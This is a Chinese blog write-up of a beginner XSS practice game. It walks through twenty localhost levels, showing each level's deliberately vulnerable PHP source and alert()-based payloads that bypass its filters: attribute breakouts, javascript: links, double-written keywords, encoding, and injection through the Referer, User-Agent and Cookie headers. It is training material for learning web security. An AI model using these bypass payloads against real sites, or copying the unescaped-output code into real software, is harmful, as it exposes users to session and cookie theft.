前言
这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太少。所以,趁此机会,好好学习一番,打好基础,以后再继续深入。
关于xss
1.概念:XSS攻击全称跨站脚本攻击(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞。其是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
2.分类:
- 反射型 XSS:攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
- 持久型 XSS:也叫存储型跨站脚本,此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
- DOM XSS:DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,受客户端浏览器的脚本代码所影响。
3.利用:
- Cookies 窃取 :获取客户端的 Cookies 信息
- 会话劫持 :接管现存的动态会话的过程
- 钓鱼 :包括重定向钓鱼、HTML 注入式钓鱼、iframe 钓鱼、Flash 钓鱼等
- 网页挂马:一般都是通过篡改网页的方式来实现的,如在 XSS 中使用
<iframe>
标签。 - DOS 与 DDOS:注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。
- XSS 蠕虫 :通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。
开始实践
level1
URL中有一个name
参数,既然是练习xss,直接使用<script>alert(1)</script>
试试,即 http://localhost/xss/level1.php?name=<script>alert(1)</script>
成功。
查看关键代码:
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
直接输出,没有任何过滤,所以可执行。再看看提交信息:
本来为用户名的内容被执行。
level2
1.使用<script>alert(1)</script>
试试,未成功,发现:
即<
和>
都被转义了,查看源码:
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
使用了htmlspecialchars($str)
函数,这个函数的作用是把一些预定义的字符转换为 HTML 实体。
预定义字符包括:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
注:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
2.htmlspecialchars($str)
函数的语法为:htmlspecialchars(string,flags,character-set,double_encode)
主要看前面两个参数:
string
:必需,规定要转换的字符串。
flags
:可选,规定如何处理引号、无效的编码以及使用哪种文档类型。这个参数主要看可用的引号类型:
-
ENT_COMPAT
- 默认。仅编码双引号。 -
ENT_QUOTES
- 编码双引号和单引号。 -
ENT_NOQUOTES
- 不编码任何引号。
关于其他内容,可查看:PHP htmlspecialchars() 函数
3.知道了htmlspecialchars($str)
函数的作用,那该如何绕过并执行呢。其实这题还用不到它。可以看到,只在输出处进行了转义,在输入处可利用。可将input
标签提前闭合。构造:"><script>alert(1)</script><"
成功。解析为:
level3
1.提交上一关的payload,发现:
看来这次是两处都进行了HTML实体转换。看看源码,的确如此,值得注意的为单引号闭合。
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
2.不过,还有有很多JS事件可以利用。这里列举几个:
onmouseenter=alert() //当鼠标移动到就会触发
onclick=alert() //鼠标点击时就会触发
onchange=alert() //在域的内容改变时发生
oninput=alert() //在用户输入时触发
onmouseover=alert()//鼠标移动到就会触发
注意:只有在htmlspecialchars($str)
函数未指定第二个参数flag时,即ENT_COMPAT
时,可用于闭合单引号情况的输入。如:此次输入的value
就是单引号闭合
3.使用1'onclick='window.alert()
试试,成功
level4
1.先提交上题的1'onclick='window.alert(1)
试试,发现闭合为双引号:
2.改用双引号,1"onclick="window.alert(1)
成功。
发现这个题也是没有在输入处进行HTML实体转换。可以看看源码:
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这里多了对<
和>
的过滤$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
但我们所构造的也已经绕过了。
level5
1.提交上题的payload,发现:
这种过滤比较麻烦,不好绕过。先试试大小写:1"Onclick="window.alert(1)
没用,提示同样的错误。
2.说明带有on的事件都不可以使用了,测试发现<script
也不可用(前面的script
变了,但后面的没变,说明不是针对script
,而是<script
)。
继续观察发现,在输入处并没有对<
和>
进行转义。所以,这里使用另一种方法:javascript:alert(1)
构造:"><a href="javascript:alert('1')">try</a>"
结果如下:
点击插入的超链接,成功。查看解析为:
3.现在看看源码:
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
和猜测的一样,通过strtolower($_GET["keyword"]);
将输入转为小写,即无法大小写绕过。并通过str_replace()
过滤<script
和on
level6
1.还是提交上题的playload,发现:
发现href被过滤。
2.因为题目是由简到难的,所以前面的题试过的就不再试了,多半是被过滤的,比如on。那还如何绕过呢,想到了转码。试试,转一个字符就好,可在这里转:Unicode编码转换 打脸,识别不了(因为标签属性没了),基础不行啊。
3.那先看看源码吧:
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
过滤的确实多了,但是少了大小写过滤,原来是在这等着,想多了。那就大小写绕过吧:"><a Href="javascript:alert('1')">try</a>//
成功。
level7
1.提交"><a Href="javascript:alert('1')">try</a>//
,发现:
这个是直接把href和script去掉了,这种很好绕过,直接双写就好了,构造:"><a hrhrefef="javasscriptcript:alert('1')">try</a>//
成功,解析为:
2.现在看一下源码:
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
没什么好说的,这种过滤用处不大。
level8
1.提交"><a Href="javascript:alert('1')">try</a>//
,发现:
观察发现,我们应该在友情链接处想办法(只对双引号进行了转义和其他标签进行了过滤,而且本身就有href标签)
2.现在,我们需要做的就是绕过script的过滤,用我们之前说的编码,这里不用担心识别不了,同样,转一个字符即可。提交为:javascript:alert(1)
。s
转为unicode,即s
成功,解析为:
显示如此,但是在执行时会自动转化并识别。
3.最后,看一下源码:
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
level9
1.和level8很像,提交javascript:alert(1)
,发现:
链接不合法
2.既然如此,那加上http://
或https://
试试,构造为:javascript:alert(1)/*http://www*/
3.现在只需要绕过script就好了,用上一题的方法,构造:javascript:alert(1)/*http://www*/
成功,解析为:
注:因为考虑到判断是否为合法链接的条件是检测输入中是否存在http://
或https://
,或是检测是否为http://
或https://
开头。后者比较麻烦,所以直接试前者。加上注释是为了不影响执行,也可用//http://www*
4.查看一下源码:
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
和level8基本没差,就多了是否存在http://
。
5.那如果是判断是否为http://
或https://
开头应该如何绕过呢?
目前没想到,望诸位不吝赐教。
level10
1.提交:<script>alert(1)</script>
发现:
2.有三个参数,都试试:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt"
因为三个参数的类型都为隐藏,所以把他们都设为txt
后才能显示出来(会忽略后面的type="hidden")。如图:
3.解析为:
也就是说只有t_sort的输入处可以利用,因为过滤了<
和>
,构造:"onclick="window.alert(1)"type="txt"
成功,解析为:
4.最后看一下源码:
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
5.发现,其实只需要输入两个参数,keyword
和t_sort
。
level11
1.提交<script>alert(1)</script>
发现:
2.有4个参数,都试试吧,看是哪个:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt"&t_ref=<script>alert(1)</script>"type="txt"
还是t_sort处,并且过滤了<
,>
和"
3.没有头绪,先看源码吧:
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
4.原来还有$_SERVER['HTTP_REFERER']
,t_sort
这里绕不过啊,转义了双引号,又不是单引号闭合。说明这题主要指向$_SERVER['HTTP_REFERER']
5.在php中,可以使用$_SERVER[‘HTTP_REFERER’]
来获取HTTP_REFERER
信息。关于HTTP_REFERER
,php文档描述如下:
引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改
HTTP_REFERER 的功能。简言之,该值并不可信。
6.综上,此题我们需要在HTTP_REFERER
上动手。由于规律和上一题一样,直接使用"onclick="window.alert(1)"type="text
存入Referer中,如图:
7.成功,此题告诉我们要学会在http各种首部字段做文章,看一下解析:
level12
1.进入后,直接先查看解析:
2.看来这次是利用用户代理,即$_SERVER['HTTP_USER_AGENT']
我们需要在user agent
上输入。
3.直接将上题的payload输入执行,因为这主要是考各种首部字段,即
4.成功,看一下解析:
5.最后,看一下源码:
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
6.过滤都一样的,只是利用的首部字段不同了。
level13
1.直接先看解析,这次应该是Cookie,而且对应的内容为call me maybe?
不知道对应那个参数。
2.可以试一下,把所有 参数都进行传值,keyword=aaa1"type="text&t_link=aaa2"type="text&t_history=aaa3"type="text&t_sort=aaa4"type="text&t_cook=aaa5"type="text
如图:
没有用,看来获取cookies的参数不是由以上任何参数获取。
3.没办法,用神奇burpsuite抓包看看到底是何参数吧:
可以发现,是user
那我们直接在burpsuite中修改cookie吧:
成功。
4.当然,也可以在火狐插件HackBar
(上面用的就是此插件)的cookies处提交:user="onclick="window.alert(1)"type="text
现在查看一下解析:
5.最后看看源码吧:
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可以看到,是通过user
接收cookie,过滤和上面几题还是一样的。
level14
1.这个题大致看了一下,发现是要我们去访问网站http://www.exifviewer.org/
可是已经打不开了。刚开始并不知是想干嘛,后来才发现是利用关于图片的exif属性。
2.关于exif,百度一下:
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
3.这下明确了,应该是想让我们修改图片的exif信息,上传到相应网站,然后达到执行XSS的效果。
4.大概找了一下,没有找到相应的平台,但发现了一个很棒的查看exif信息的网站:图虫EXIF查看器alpha版 可看到的信息非常详细。
5.最后,根据题目的考点,找了几个关于修改图片exif信息的工具,喜欢的可以自己下载玩一玩。
- PowerExif
- MagicEXIF元数据编辑器
level15
1.先查看一下响应
2.发现有个"ng-include",这是什么,先查一下:
相关参数说明:
3.现在,我就可以尝试让其包含某个可以执行xss漏洞的文件,然后让包含的文件调用alert方法就可以了。使用level1.php
试试,构造:?src='level1.php?keyword=<script>alert(1)</script>'
发现 <
和>
被过滤了。
4.那使用onclick试试,选择level2.php
构造?src='level2.php?keyword="onclick="alert(123)'
双引号也是被解析的,但是成功了。解析为:
5.有点迷,看一下源码:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
发现使用了htmlspecialchars($str)
按理应该不会通过,可是过了,是否说明通过ng-include包含进来的文件会自动识别html实体,然后执行。那第一个又不行,查了好久,也不知道怎么回事,先放着。
level16
1.提交<script>alert(1)</script>
发现将script
和/
都转为空格了。
2.但是<
和>
没有过滤,后还发现空格也会转义,这里用Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%0a')
代替 。而且,这里使用一种新的事件。
onerror 事件
: 会在文档或图像加载过程中发生错误时被触发。在装载文档或图像的过程中如果发生了错误,就会调用该事件句柄。
语法:onerror="SomeJavaScriptCode"
后面的 SomeJavaScriptCode
必需。规定该事件发生时执行的 JavaScript。
支持该事件的 HTML 标签:<img>, <object>, <style>
支持该事件的 JavaScript 对象:window, image
3.这里我们用<img>
,构造:<img%0asrc=1%0aonerror="alert(1)">
成功,查看解析:
4.查看一下源码:
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
发现有两个空格?其实不是,在Python中看看是什么
5.因此,实际是过滤了script,空格,/,横向制表这四个字符(这个和做题没有关系,看到了就顺便了解一下而已)
level17
1.进入,发现http://localhost/xss/level17.php?arg01=a&arg02=b
两个参数分别为a,b,再看看响应:
发现a和b都显示了,可以考虑在a,b处构造,而且不用考虑引号闭合问题(用空格隔开就好)。
2.<embed> 标签是定义嵌入的内容,比如插件。这里插件就是xsf01.swf
3.构造:arg01=a&arg02=1%20onmouseover=alert(1)
(这里直接把空格替代了,后来测试发现不替代也行)当鼠标移动到插件上时,成功,查看解析:
4.查看源码:
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
两个参数都进行了HTML实体转化。
level18
1.发现和level17差不多啊,直接提交上题的payload,即rg01=a&arg02=1 onmouseover=alert(1)
成功,解析为:
2.看看源码:
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
和上题就只有插件不同。
level19
1.这题和下题相似,都是比上面两个题多了双引号闭合。这个也是上面一直没有解决的问题。后来才发现原来这几题考的的关于flash xss的,这个方面就先不看了,直接看看源码吧
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
level20
源码:
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
后记
原本不打算写这篇文章的,因为太菜,怕写得不好。后来想了想,还是记录一下吧,不然忘得太快,到时候想复习看一下都找不到,所以还是写了。当然,也希望能帮到有需要的朋友。此外,文章的内容可能有错或者做法比较愚蠢的,还望这位不吝赐教,多谢。
网友评论